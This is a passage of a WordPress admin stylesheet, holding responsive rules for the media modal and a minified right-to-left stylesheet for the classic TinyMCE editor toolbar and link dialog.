	.media-sidebar .setting .value,
	.attachment-details .setting .value {
		float: none;
		width: auto;
	}

	.media-sidebar .setting input[type="text"],
	.media-sidebar .setting input[type="password"],
	.media-sidebar .setting input[type="email"],
	.media-sidebar .setting input[type="number"],
	.media-sidebar .setting input[type="search"],
	.media-sidebar .setting input[type="tel"],
	.media-sidebar .setting input[type="url"],
	.media-sidebar .setting textarea,
	.media-sidebar .setting select,
	.attachment-details .setting input[type="text"],
	.attachment-details .setting input[type="password"],
	.attachment-details .setting input[type="email"],
	.attachment-details .setting input[type="number"],
	.attachment-details .setting input[type="search"],
	.attachment-details .setting input[type="tel"],
	.attachment-details .setting input[type="url"],
	.attachment-details .setting textarea,
	.attachment-details .setting select,
	.attachment-details .setting + .description {
		float: none;
		width: 98%;
		max-width: none;
		height: auto;
	}

	.media-frame .media-toolbar input[type="search"] {
		line-height: 2.25; /* 36px */
	}

	.media-sidebar .setting select.columns,
	.attachment-details .setting select.columns {
		width: auto;
	}

	.media-frame input,
	.media-frame textarea,
	.media-frame .search {
		padding: 3px 6px;
	}

	.wp-admin .media-frame select {
		min-height: 40px;
		font-size: 16px;
		line-height: 1.625;
		padding: 5px 24px 5px 8px;
	}

	.image-details .column-image {
		width: 30%;
		left: 70%;
	}

	.image-details .column-settings {
		width: 70%;
	}

	.image-details .media-modal {
		left: 30px;
		right: 30px;
	}

	.image-details .embed-media-settings .setting,
	.image-details .embed-media-settings .setting-group {
		margin: 20px;
	}

	.image-details .embed-media-settings .setting span, /* Back-compat for pre-5.3 */
	.image-details .embed-media-settings .setting .name {
		float: none;
		text-align: left;
		width: 100%;
		margin-bottom: 4px;
		margin-left: 0;
	}

	.media-modal .legend-inline {
		position: static;
		transform: none;
		margin-left: 0;
		margin-bottom: 6px;
	}

	.image-details .embed-media-settings .setting-group .setting {
		margin-bottom: 0;
	}

	.image-details .embed-media-settings .setting input.link-to-custom,
	.image-details .embed-media-settings .setting input[type="text"],
	.image-details .embed-media-settings .setting textarea {
		width: 100%;
		margin-left: 0;
	}

	.image-details .embed-media-settings .setting.has-description {
		margin-bottom: 5px;
	}

	.image-details .description {
		width: auto;
		margin: 0 20px;
	}

	.image-details .embed-media-settings .custom-size {
		margin-left: 20px;
	}

	.collection-settings .setting input[type="checkbox"] {
		float: none;
		margin-top: 0;
	}

	.media-selection {
		min-width: 120px;
	}

	.media-selection:after {
		background: none;
	}

	.media-selection .attachments {
		display: none;
	}

	.media-modal .attachments-browser .media-toolbar .search {
		max-width: 100%;
		height: auto;
		float: right;
	}

	.media-modal .attachments-browser .media-toolbar .attachment-filters {
		height: auto;
	}

	/* Text inputs need to be 16px, or they force zooming on iOS */
	.media-frame input[type="text"],
	.media-frame input[type="password"],
	.media-frame input[type="number"],
	.media-frame input[type="search"],
	.media-frame input[type="email"],
	.media-frame input[type="url"],
	.media-frame textarea,
	.media-frame select {
		font-size: 16px;
		line-height: 1.5;
	}

	.media-frame .media-toolbar input[type="search"] {
		line-height: 2.3755; /* 38px */
	}

	.media-modal .media-toolbar .spinner {
		margin-bottom: 10px;
	}
}

@media screen and (max-width: 782px) {
	.imgedit-panel-content {
		grid-template-columns: auto;
	}

	.media-frame-toolbar .media-toolbar {
		bottom: -54px;
	}

	.mode-grid .attachments-browser .media-toolbar-primary {
		display: flex;
	}

	.mode-grid .attachments-browser .media-toolbar-primary input[type="search"] {
		width: 100%;
	}

	.media-sidebar .copy-to-clipboard-container .success,
	.attachment-details .copy-to-clipboard-container .success {
		font-size: 14px;
		line-height: 2.71428571;
	}

	.media-frame .wp-filter .media-toolbar-secondary {
		position: unset;
	}

	.media-frame .media-toolbar-secondary .spinner {
		position: absolute;
		top: 0;
		bottom: 0;
		margin: auto;
		left: 0;
		right: 0;
		z-index: 9;
	}

	.media-bg-overlay {
		content: '';
		background: #ffffff;
		width: 100%;
		height: 100%;
		display: none;
		position: absolute;
		left: 0;
		right: 0;
		top: 0;
		bottom: 0;
		opacity: 0.6;
	}
}

/* Responsive on portrait and landscape */
@media only screen and (max-width: 640px), screen and (max-height: 400px) {
	/* Full-bleed modal */
	.media-modal,
	.image-details .media-modal {
		position: fixed;
		top: 0;
		left: 0;
		right: 0;
		bottom: 0;
	}

	.media-modal-backdrop {
		position: fixed;
	}

	.options-general-php .crop-content.site-icon {
		margin-right: 0;
	}

	.media-sidebar {
		z-index: 1900;
		max-width: 70%;
		bottom: 120%;
		box-sizing: border-box;
		padding-bottom: 0;
	}

	.media-sidebar.visible {
		bottom: 0;
	}

	.attachments-browser .attachments,
	.attachments-browser .uploader-inline,
	.attachments-browser .media-toolbar,
	.media-frame-content .attachments-browser .attachments-wrapper {
		right: 0;
	}

	.image-details .media-frame-title {
		display: block;
		top: 0;
		font-size: 14px;
	}

	.image-details .column-image,
	.image-details .column-settings {
		width: 100%;
		position: relative;
		left: 0;
	}

	.image-details .column-settings {
		padding: 4px 0;
	}

	/* Media tabs on the top */
	.media-frame-content .media-toolbar .instructions {
		display: none;
	}

	/* Change margin direction on load more button in responsive views. */
	.load-more-wrapper .load-more-jump {
		margin: 12px 0 0;
	}

}

@media only screen and (min-width: 901px) and (max-height: 400px) {
	.media-menu,
	.media-frame:not(.hide-menu) .media-menu {
		top: 0;
		padding-top: 44px;
	}

	/* Change margin direction on load more button in responsive views. */
	.load-more-wrapper .load-more-jump {
		margin: 12px 0 0;
	}

}

@media only screen and (max-width: 480px) {
	.wp-core-ui.wp-customizer .media-button {
		margin-top: 13px;
	}
}

/**
 * HiDPI Displays
 */
@media print,
  (min-resolution: 120dpi) {

	.wp-core-ui .media-modal-icon {
		background-image: url(../images/uploader-icons-2x.png);
		background-size: 134px 15px;
	}

	.media-frame .spinner {
		background-image: url(../images/spinner-2x.gif);
	}
}

.media-frame-content[data-columns="1"] .attachment {
	width: 100%;
}

.media-frame-content[data-columns="2"] .attachment {
	width: 50%;
}

.media-frame-content[data-columns="3"] .attachment {
	width: 33.33%;
}

.media-frame-content[data-columns="4"] .attachment {
	width: 25%;
}

.media-frame-content[data-columns="5"] .attachment {
	width: 20%;
}

.media-frame-content[data-columns="6"] .attachment {
	width: 16.66%;
}

.media-frame-content[data-columns="7"] .attachment {
	width: 14.28%;
}

.media-frame-content[data-columns="8"] .attachment {
	width: 12.5%;
}

.media-frame-content[data-columns="9"] .attachment {
	width: 11.11%;
}

.media-frame-content[data-columns="10"] .attachment {
	width: 10%;
}

.media-frame-content[data-columns="11"] .attachment {
	width: 9.09%;
}

.media-frame-content[data-columns="12"] .attachment {
	width: 8.33%;
}
/*! This file is auto-generated */
.mce-tinymce{box-shadow:none}.mce-container,.mce-container *,.mce-widget,.mce-widget *{color:inherit;font-family:inherit}.mce-container .mce-monospace,.mce-widget .mce-monospace{font-family:Consolas,Monaco,monospace;font-size:13px;line-height:150%}#mce-modal-block,#mce-modal-block.mce-fade{opacity:.7;transition:none;background:#000}.mce-window{border-radius:0;box-shadow:0 3px 6px rgba(0,0,0,.3);-webkit-font-smoothing:subpixel-antialiased;transition:none}.mce-window .mce-container-body.mce-abs-layout{overflow:visible}.mce-window .mce-window-head{background:#fff;border-bottom:1px solid #dcdcde;padding:0;min-height:36px}.mce-window .mce-window-head .mce-title{color:#3c434a;font-size:18px;font-weight:600;line-height:36px;margin:0;padding:0 16px 0 36px}.mce-window .mce-window-head .mce-close,.mce-window-head .mce-close .mce-i-remove{color:transparent;top:0;left:0;width:36px;height:36px;padding:0;line-height:36px;text-align:center}.mce-window-head .mce-close .mce-i-remove:before{font:normal 20px/36px dashicons;text-align:center;color:#646970;width:36px;height:36px;display:block}.mce-window-head .mce-close:focus .mce-i-remove:before,.mce-window-head .mce-close:hover .mce-i-remove:before{color:#135e96}.mce-window-head .mce-close:focus .mce-i-remove,div.mce-tab:focus{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.mce-window .mce-window-head .mce-dragh{width:calc(100% - 36px)}.mce-window .mce-foot{border-top:1px solid #dcdcde}#wp-link .query-results,.mce-checkbox i.mce-i-checkbox,.mce-textbox{border:1px solid #dcdcde;border-radius:0;box-shadow:inset 0 1px 2px rgba(0,0,0,.07);transition:.05s all ease-in-out}#wp-link .query-results:focus,.mce-checkbox:focus i.mce-i-checkbox,.mce-textbox.mce-focus,.mce-textbox:focus{border-color:#4f94d4;box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.mce-window .mce-wp-help{height:360px;width:460px;overflow:auto}.mce-window .mce-wp-help *{box-sizing:border-box}.mce-window .mce-wp-help>.mce-container-body{width:auto!important}.mce-window .wp-editor-help{padding:10px 20px 0 10px}.mce-window .wp-editor-help h2,.mce-window .wp-editor-help p{margin:8px 0;white-space:normal;font-size:14px;font-weight:400}.mce-window .wp-editor-help table{width:100%;margin-bottom:20px}.mce-window .wp-editor-help table.wp-help-single{margin:0 8px 20px}.mce-window .wp-editor-help table.fixed{table-layout:fixed}.mce-window .wp-editor-help table.fixed td:nth-child(odd),.mce-window .wp-editor-help table.fixed th:nth-child(odd){width:12%}.mce-window .wp-editor-help table.fixed td:nth-child(2n),.mce-window .wp-editor-help table.fixed th:nth-child(2n){width:38%}.mce-window .wp-editor-help table.fixed th:nth-child(odd){padding:5px 0 0}.mce-window .wp-editor-help td,.mce-window .wp-editor-help th{font-size:13px;padding:5px;vertical-align:middle;word-wrap:break-word;white-space:normal}.mce-window .wp-editor-help th{font-weight:600;padding-bottom:0}.mce-window .wp-editor-help kbd{font-family:monospace;padding:2px 7px 3px;font-weight:600;margin:0;background:#f0f0f1;background:rgba(0,0,0,.08)}.mce-window .wp-help-th-center td:nth-child(odd),.mce-window .wp-help-th-center th:nth-child(odd){text-align:center}.mce-floatpanel.mce-popover,.mce-menu{border-color:rgba(0,0,0,.15);border-radius:0;box-shadow:0 3px 5px rgba(0,0,0,.2)}.mce-floatpanel.mce-popover.mce-bottom,.mce-menu{margin-top:2px}.mce-floatpanel .mce-arrow{display:none}.mce-menu .mce-container-body{min-width:160px}.mce-menu-item{border:none;margin-bottom:2px;padding:6px 12px 6px 15px}.mce-menu-has-icons i.mce-ico{line-height:20px}div.mce-panel{border:0;background:#fff}.mce-panel.mce-menu{border:1px solid #dcdcde}div.mce-tab{line-height:13px}div.mce-toolbar-grp{border-bottom:1px solid #dcdcde;background:#f6f7f7;padding:0;position:relative}div.mce-inline-toolbar-grp{border:1px solid #a7aaad;border-radius:2px;box-shadow:0 1px 3px rgba(0,0,0,.15);box-sizing:border-box;margin-bottom:8px;position:absolute;-webkit-user-select:none;user-select:none;max-width:98%;z-index:100100}div.mce-inline-toolbar-grp>div.mce-stack-layout{padding:1px}div.mce-inline-toolbar-grp.mce-arrow-up{margin-bottom:0;margin-top:8px}div.mce-inline-toolbar-grp:after,div.mce-inline-toolbar-grp:before{position:absolute;right:50%;display:block;width:0;height:0;border-style:solid;border-color:transparent;content:""}div.mce-inline-toolbar-grp.mce-arrow-up:before{top:-9px;border-bottom-color:#a7aaad;border-width:0 9px 9px;margin-right:-9px}div.mce-inline-toolbar-grp.mce-arrow-down:before{bottom:-9px;border-top-color:#a7aaad;border-width:9px 9px 0;margin-right:-9px}div.mce-inline-toolbar-grp.mce-arrow-up:after{top:-8px;border-bottom-color:#f6f7f7;border-width:0 8px 8px;margin-right:-8px}div.mce-inline-toolbar-grp.mce-arrow-down:after{bottom:-8px;border-top-color:#f6f7f7;border-width:8px 8px 0;margin-right:-8px}div.mce-inline-toolbar-grp.mce-arrow-left:after,div.mce-inline-toolbar-grp.mce-arrow-left:before{margin:0}div.mce-inline-toolbar-grp.mce-arrow-left:before{right:20px}div.mce-inline-toolbar-grp.mce-arrow-left:after{right:21px}div.mce-inline-toolbar-grp.mce-arrow-right:after,div.mce-inline-toolbar-grp.mce-arrow-right:before{right:auto;margin:0}div.mce-inline-toolbar-grp.mce-arrow-right:before{left:20px}div.mce-inline-toolbar-grp.mce-arrow-right:after{left:21px}div.mce-inline-toolbar-grp.mce-arrow-full{left:0}div.mce-inline-toolbar-grp.mce-arrow-full>div{width:100%;overflow-x:auto}div.mce-toolbar-grp>div{padding:3px}.has-dfw div.mce-toolbar-grp .mce-toolbar.mce-first{padding-left:32px}.mce-toolbar .mce-btn-group{margin:0}.block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child){display:none}.block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar{display:block}div.mce-statusbar{border-top:1px solid #dcdcde}div.mce-path{padding:2px 10px;margin:0}.mce-path,.mce-path .mce-divider,.mce-path-item{font-size:12px}.mce-toolbar .mce-btn,.qt-dfw{border-color:transparent;background:0 0;box-shadow:none;text-shadow:none;cursor:pointer}.mce-btn .mce-txt{direction:inherit;text-align:inherit}.mce-toolbar .mce-btn-group .mce-btn,.qt-dfw{border:1px solid transparent;margin:2px;border-radius:2px}.mce-toolbar .mce-btn-group .mce-btn:focus,.mce-toolbar .mce-btn-group .mce-btn:hover,.qt-dfw:focus,.qt-dfw:hover{background:#f6f7f7;color:#1d2327;box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.mce-toolbar .mce-btn-group .mce-btn.mce-active,.mce-toolbar .mce-btn-group .mce-btn:active,.qt-dfw.active{background:#f0f0f1;border-color:#50575e}.mce-btn.mce-active,.mce-btn.mce-active button,.mce-btn.mce-active i,.mce-btn.mce-active:hover button,.mce-btn.mce-active:hover i{color:inherit}.mce-toolbar .mce-btn-group .mce-btn.mce-active:focus,.mce-toolbar .mce-btn-group .mce-btn.mce-active:hover{border-color:#1d2327}.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:focus,.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:hover{color:#a7aaad;background:0 0;border-color:#dcdcde;text-shadow:0 1px 0 #fff;box-shadow:none}.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:focus{border-color:#50575e}.mce-toolbar .mce-btn-group .mce-first,.mce-toolbar .mce-btn-group .mce-last{border-color:transparent}.mce-toolbar .mce-btn button,.qt-dfw{padding:2px 3px;line-height:normal}.mce-toolbar .mce-listbox button{font-size:13px;line-height:1.53846153;padding-right:6px;padding-left:20px}.mce-toolbar .mce-btn i{text-shadow:none}.mce-toolbar .mce-btn-group>div{white-space:normal}.mce-toolbar .mce-colorbutton .mce-open{border-left:0}.mce-toolbar .mce-colorbutton .mce-preview{margin:0;padding:0;top:auto;bottom:2px;right:3px;height:3px;width:20px;background:#50575e}.mce-toolbar .mce-btn-group .mce-btn.mce-primary{min-width:0;background:#3582c4;border-color:#2271b1 #135e96 #135e96;box-shadow:0 1px 0 #135e96;color:#fff;text-decoration:none;text-shadow:none}.mce-toolbar .mce-btn-group .mce-btn.mce-primary button{padding:2px 3px 1px}.mce-toolbar .mce-btn-group .mce-btn.mce-primary .mce-ico{color:#fff}.mce-toolbar .mce-btn-group .mce-btn.mce-primary:focus,.mce-toolbar .mce-btn-group .mce-btn.mce-primary:hover{background:#4f94d4;border-color:#135e96;color:#fff}.mce-toolbar .mce-btn-group .mce-btn.mce-primary:focus{box-shadow:0 0 1px 1px #72aee6}.mce-toolbar .mce-btn-group .mce-btn.mce-primary:active{background:#2271b1;border-color:#135e96;box-shadow:inset 0 2px 0 #135e96}.mce-toolbar .mce-btn-group .mce-btn.mce-listbox{border-radius:0;direction:rtl;background:#fff;border:1px solid #dcdcde}.mce-toolbar .mce-btn-group .mce-btn.mce-listbox:focus,.mce-toolbar .mce-btn-group .mce-btn.mce-listbox:hover{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.mce-panel .mce-btn i.mce-caret{border-top:6px solid #50575e;margin-right:2px;margin-left:2px}.mce-listbox i.mce-caret{left:4px}.mce-panel .mce-btn:focus i.mce-caret,.mce-panel .mce-btn:hover i.mce-caret{border-top-color:#1d2327}.mce-panel .mce-active i.mce-caret{border-top:0;border-bottom:6px solid #1d2327;margin-top:7px}.mce-listbox.mce-active i.mce-caret{margin-top:-3px}.mce-toolbar .mce-splitbtn:hover .mce-open{border-left-color:transparent}.mce-toolbar .mce-splitbtn .mce-open.mce-active{background:0 0;outline:0}.mce-menu .mce-menu-item.mce-active.mce-menu-item-normal,.mce-menu .mce-menu-item.mce-active.mce-menu-item-preview,.mce-menu .mce-menu-item.mce-selected,.mce-menu .mce-menu-item:focus,.mce-menu .mce-menu-item:hover{background:#2271b1;color:#fff}.mce-menu .mce-menu-item.mce-selected .mce-caret,.mce-menu .mce-menu-item:focus .mce-caret,.mce-menu .mce-menu-item:hover .mce-caret{border-right-color:#fff}.rtl .mce-menu .mce-menu-item.mce-selected .mce-caret,.rtl .mce-menu .mce-menu-item:focus .mce-caret,.rtl .mce-menu .mce-menu-item:hover .mce-caret{border-left-color:inherit;border-right-color:#fff}.mce-menu .mce-menu-item.mce-active .mce-menu-shortcut,.mce-menu .mce-menu-item.mce-disabled:hover .mce-ico,.mce-menu .mce-menu-item.mce-disabled:hover .mce-text,.mce-menu .mce-menu-item.mce-selected .mce-ico,.mce-menu .mce-menu-item.mce-selected .mce-text,.mce-menu .mce-menu-item:focus .mce-ico,.mce-menu .mce-menu-item:focus .mce-menu-shortcut,.mce-menu .mce-menu-item:focus .mce-text,.mce-menu .mce-menu-item:hover .mce-ico,.mce-menu .mce-menu-item:hover .mce-menu-shortcut,.mce-menu .mce-menu-item:hover .mce-text{color:inherit}.mce-menu .mce-menu-item.mce-disabled{cursor:default}.mce-menu .mce-menu-item.mce-disabled:hover{background:#c3c4c7}div.mce-menubar{border-color:#dcdcde;background:#fff;border-width:0 0 1px}.mce-menubar .mce-menubtn.mce-active,.mce-menubar .mce-menubtn:focus,.mce-menubar .mce-menubtn:hover{border-color:transparent;background:0 0}.mce-menubar .mce-menubtn:focus{color:#043959;box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.mce-menu-item-sep:hover,div.mce-menu .mce-menu-item-sep{border-bottom:1px solid #dcdcde;height:0;margin:5px 0}.mce-menubtn span{margin-left:0;padding-right:3px}.mce-menu-has-icons i.mce-ico:before{margin-right:-2px}.mce-menu.mce-menu-align .mce-menu-item-normal{position:relative}.mce-menu.mce-menu-align .mce-menu-shortcut{bottom:.6em;font-size:.9em}.mce-primary button,.mce-primary button i{text-align:center;color:#fff;text-shadow:none;padding:0;line-height:1.85714285}.mce-window .mce-btn{color:#50575e;background:#f6f7f7;text-decoration:none;font-size:13px;line-height:26px;height:28px;margin:0;padding:0;cursor:pointer;border:1px solid #c3c4c7;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-shadow:0 1px 0 #c3c4c7}.mce-window .mce-btn::-moz-focus-inner{border-width:0;border-style:none;padding:0}.mce-window .mce-btn:focus,.mce-window .mce-btn:hover{background:#f6f7f7;border-color:#8c8f94;color:#1d2327}.mce-window .mce-btn:focus{border-color:#4f94d4;box-shadow:0 0 3px rgba(34,113,177,.8)}.mce-window .mce-btn:active{background:#f0f0f1;border-color:#8c8f94;box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5);transform:translateY(1px)}.mce-window .mce-btn.mce-disabled{color:#a7aaad!important;border-color:#dcdcde!important;background:#f6f7f7!important;box-shadow:none!important;text-shadow:0 1px 0 #fff!important;cursor:default;transform:none!important}.mce-window .mce-btn.mce-primary{background:#3582c4;border-color:#2271b1 #135e96 #135e96;box-shadow:0 1px 0 #135e96;color:#fff;text-decoration:none;text-shadow:0 -1px 1px #135e96,-1px 0 1px #135e96,0 1px 1px #135e96,1px 0 1px #135e96}.mce-window .mce-btn.mce-primary:focus,.mce-window .mce-btn.mce-primary:hover{background:#4f94d4;border-color:#135e96;color:#fff}.mce-window .mce-btn.mce-primary:focus{box-shadow:0 1px 0 #2271b1,0 0 2px 1px #72aee6}.mce-window .mce-btn.mce-primary:active{background:#2271b1;border-color:#135e96;box-shadow:inset 0 2px 0 #135e96;vertical-align:top}.mce-window .mce-btn.mce-primary.mce-disabled{color:#9ec2e6!important;background:#4f94d4!important;border-color:#3582c4!important;box-shadow:none!important;text-shadow:0 -1px 0 rgba(0,0,0,.1)!important;cursor:default}.mce-menubtn.mce-fixed-width span{overflow-x:hidden;text-overflow:ellipsis;width:82px}.mce-charmap{margin:3px}.mce-charmap td{padding:0;border-color:#dcdcde;cursor:pointer}.mce-charmap td:hover{background:#f6f7f7}.mce-charmap td div{width:18px;height:22px;line-height:1.57142857}.mce-tooltip{margin-top:2px}.mce-tooltip-inner{border-radius:3px;box-shadow:0 3px 5px rgba(0,0,0,.2);color:#fff;font-size:12px}.mce-ico{font-family:tinymce,Arial}.mce-btn-small .mce-ico{font-family:tinymce-small,Arial}.mce-toolbar .mce-ico{color:#50575e;line-height:1;width:20px;height:20px;text-align:center;text-shadow:none;margin:0;padding:0}.qt-dfw{color:#50575e;line-height:1;width:28px;height:26px;text-align:center;text-shadow:none}.mce-toolbar .mce-btn .mce-open{line-height:20px}.mce-toolbar .mce-btn.mce-active .mce-open,.mce-toolbar .mce-btn:focus .mce-open,.mce-toolbar .mce-btn:hover .mce-open{border-right-color:#1d2327}div.mce-notification{right:10%!important;left:10%}.mce-notification button.mce-close{left:6px;top:3px;font-weight:400;color:#50575e}.mce-notification button.mce-close:focus,.mce-notification button.mce-close:hover{color:#000}i.mce-i-aligncenter,i.mce-i-alignjustify,i.mce-i-alignleft,i.mce-i-alignright,i.mce-i-backcolor,i.mce-i-blockquote,i.mce-i-bold,i.mce-i-bullist,i.mce-i-charmap,i.mce-i-dashicon,i.mce-i-dfw,i.mce-i-forecolor,i.mce-i-fullscreen,i.mce-i-help,i.mce-i-hr,i.mce-i-indent,i.mce-i-italic,i.mce-i-link,i.mce-i-ltr,i.mce-i-numlist,i.mce-i-outdent,i.mce-i-pastetext,i.mce-i-pasteword,i.mce-i-redo,i.mce-i-remove,i.mce-i-removeformat,i.mce-i-spellchecker,i.mce-i-strikethrough,i.mce-i-underline,i.mce-i-undo,i.mce-i-unlink,i.mce-i-wp-media-library,i.mce-i-wp_adv,i.mce-i-wp_code,i.mce-i-wp_fullscreen,i.mce-i-wp_help,i.mce-i-wp_more,i.mce-i-wp_page{font:normal 20px/1 dashicons;padding:0;vertical-align:top;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;margin-right:-2px;padding-left:2px}.qt-dfw{font:normal 20px/1 dashicons;vertical-align:top;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}i.mce-i-bold:before{content:"\f200"}i.mce-i-italic:before{content:"\f201"}i.mce-i-bullist:before{content:"\f203"}i.mce-i-numlist:before{content:"\f204"}i.mce-i-blockquote:before{content:"\f205"}i.mce-i-alignleft:before{content:"\f206"}i.mce-i-aligncenter:before{content:"\f207"}i.mce-i-alignright:before{content:"\f208"}i.mce-i-link:before{content:"\f103"}i.mce-i-unlink:before{content:"\f225"}i.mce-i-wp_more:before{content:"\f209"}i.mce-i-strikethrough:before{content:"\f224"}i.mce-i-spellchecker:before{content:"\f210"}.qt-dfw:before,i.mce-i-dfw:before,i.mce-i-fullscreen:before,i.mce-i-wp_fullscreen:before{content:"\f211"}i.mce-i-wp_adv:before{content:"\f212"}i.mce-i-underline:before{content:"\f213"}i.mce-i-alignjustify:before{content:"\f214"}i.mce-i-backcolor:before,i.mce-i-forecolor:before{content:"\f215"}i.mce-i-pastetext:before{content:"\f217"}i.mce-i-removeformat:before{content:"\f218"}i.mce-i-charmap:before{content:"\f220"}i.mce-i-outdent:before{content:"\f221"}i.mce-i-indent:before{content:"\f222"}i.mce-i-undo:before{content:"\f171"}i.mce-i-redo:before{content:"\f172"}i.mce-i-help:before,i.mce-i-wp_help:before{content:"\f223"}i.mce-i-wp-media-library:before{content:"\f104"}i.mce-i-ltr:before{content:"\f320"}i.mce-i-wp_page:before{content:"\f105"}i.mce-i-hr:before{content:"\f460"}i.mce-i-remove:before{content:"\f158"}i.mce-i-wp_code:before{content:"\f475"}.rtl i.mce-i-outdent:before{content:"\f222"}.rtl i.mce-i-indent:before{content:"\f221"}.wp-editor-wrap{position:relative}.wp-editor-tools{position:relative;z-index:1}.wp-editor-tools:after{clear:both;content:"";display:table}.wp-editor-container{clear:both;border:1px solid #dcdcde}.wp-editor-area{font-family:Consolas,Monaco,monospace;font-size:13px;padding:10px;margin:1px 0 0;line-height:150%;border:0;outline:0;display:block;resize:vertical;box-sizing:border-box}.rtl .wp-editor-area{font-family:Tahoma,Monaco,monospace}.locale-he-il .wp-editor-area{font-family:Arial,Monaco,monospace}.wp-editor-container textarea.wp-editor-area{width:100%;margin:0;box-shadow:none}.wp-editor-tabs{float:left}.wp-switch-editor{float:right;box-sizing:content-box;position:relative;top:1px;background:#f0f0f1;color:#646970;cursor:pointer;font-size:13px;line-height:1.46153846;height:20px;margin:5px 5px 0 0;padding:3px 8px 4px;border:1px solid #dcdcde}.wp-switch-editor:focus{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent;color:#1d2327}.html-active .switch-html:focus,.tmce-active .switch-tmce:focus,.wp-switch-editor:active{box-shadow:none}.wp-switch-editor:active{background-color:#f6f7f7;box-shadow:none}.js .tmce-active .wp-editor-area{color:#fff}.tmce-active .quicktags-toolbar{display:none}.html-active .switch-html,.tmce-active .switch-tmce{background:#f6f7f7;color:#50575e;border-bottom-color:#f6f7f7}.wp-media-buttons{float:right}.wp-media-buttons .button{margin-left:5px;margin-bottom:4px;padding-right:7px;padding-left:7px}.wp-media-buttons .button:active{position:relative;top:1px;margin-top:-1px;margin-bottom:1px}.wp-media-buttons .insert-media{padding-right:5px}.wp-media-buttons a{text-decoration:none;color:#3c434a;font-size:12px}.wp-media-buttons img{padding:0 4px;vertical-align:middle}.wp-media-buttons span.wp-media-buttons-icon{display:inline-block;width:20px;height:20px;line-height:1;vertical-align:middle;margin:0 2px}.wp-media-buttons .add_media span.wp-media-buttons-icon{background:0 0}.wp-media-buttons .add_media span.wp-media-buttons-icon:before{font:normal 18px/1 dashicons;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.wp-media-buttons .add_media span.wp-media-buttons-icon:before{content:"\f104"}.mce-content-body dl.wp-caption{max-width:100%}.quicktags-toolbar{padding:3px;position:relative;border-bottom:1px solid #dcdcde;background:#f6f7f7;min-height:30px}.has-dfw .quicktags-toolbar{padding-left:35px}.wp-core-ui .quicktags-toolbar input.button.button-small{margin:2px}.quicktags-toolbar input[value=link]{text-decoration:underline}.quicktags-toolbar input[value=del]{text-decoration:line-through}.quicktags-toolbar input[value="i"]{font-style:italic}.quicktags-toolbar input[value="b"]{font-weight:600}.mce-toolbar .mce-btn-group .mce-btn.mce-wp-dfw,.qt-dfw{position:absolute;top:0;left:0}.mce-toolbar .mce-btn-group .mce-btn.mce-wp-dfw{margin:7px 0 0 7px}.qt-dfw{margin:5px 0 0 5px}.qt-fullscreen{position:static;margin:2px}@media screen and (max-width:782px){.mce-toolbar .mce-btn button,.qt-dfw{padding:6px 7px}.mce-toolbar .mce-btn-group .mce-btn.mce-primary button{padding:6px 7px 5px}.mce-toolbar .mce-btn-group .mce-btn{margin:1px}.qt-dfw{width:36px;height:34px}.mce-toolbar .mce-btn-group .mce-btn.mce-wp-dfw{margin:4px 0 0 4px}.mce-toolbar .mce-colorbutton .mce-preview{right:8px;bottom:6px}.mce-window .mce-btn{padding:2px 0}.has-dfw .quicktags-toolbar,.has-dfw div.mce-toolbar-grp .mce-toolbar.mce-first{padding-left:40px}}@media screen and (min-width:782px){.wp-core-ui .quicktags-toolbar input.button.button-small{font-size:12px;min-height:26px;line-height:2}}#wp_editbtns,#wp_gallerybtns{padding:2px;position:absolute;display:none;z-index:100020}#wp_delgallery,#wp_delimgbtn,#wp_editgallery,#wp_editimgbtn{background-color:#f0f0f1;margin:2px;padding:2px;border:1px solid #8c8f94;border-radius:3px}#wp_delgallery:hover,#wp_delimgbtn:hover,#wp_editgallery:hover,#wp_editimgbtn:hover{border-color:#50575e;background-color:#c3c4c7}#wp-link-wrap{display:none;background-color:#fff;box-shadow:0 3px 6px rgba(0,0,0,.3);width:500px;overflow:hidden;margin-right:-250px;margin-top:-125px;position:fixed;top:50%;right:50%;z-index:100105;transition:height .2s,margin-top .2s}#wp-link-backdrop{display:none;position:fixed;top:0;right:0;left:0;bottom:0;min-height:360px;background:#000;opacity:.7;z-index:100100}#wp-link{position:relative;height:100%}#wp-link-wrap{height:600px;margin-top:-300px}#wp-link-wrap .wp-link-text-field{display:none}#wp-link-wrap.has-text-field .wp-link-text-field{display:block}#link-modal-title{background:#fff;border-bottom:1px solid #dcdcde;font-size:18px;font-weight:600;line-height:2;margin:0;padding:0 16px 0 36px}#wp-link-close{color:#646970;padding:0;position:absolute;top:0;left:0;width:36px;height:36px;text-align:center;background:0 0;border:none;cursor:pointer}#wp-link-close:before{font:normal 20px/36px dashicons;vertical-align:top;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;width:36px;height:36px;content:"\f158"}#wp-link-close:focus,#wp-link-close:hover{color:#135e96}#wp-link-close:focus{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent;outline-offset:-2px}#wp-link-wrap #link-selector{-webkit-overflow-scrolling:touch;padding:0 16px;position:absolute;top:calc(2.15384615em + 16px);right:0;left:0;bottom:calc(2.15384615em + 19px);display:flex;flex-direction:column;overflow:auto}#wp-link ol,#wp-link ul{list-style:none;margin:0;padding:0}#wp-link input[type=text]{box-sizing:border-box}#wp-link #link-options{padding:8px 0 12px}#wp-link p.howto{margin:3px 0}#wp-link p.howto a{text-decoration:none;color:inherit}#wp-link label input[type=text]{margin-top:5px;width:70%}#wp-link #link-options label span,#wp-link #search-panel label span.search-label{display:inline-block;width:120px;text-align:left;padding-left:5px;max-width:24%;vertical-align:middle;word-wrap:break-word}#wp-link 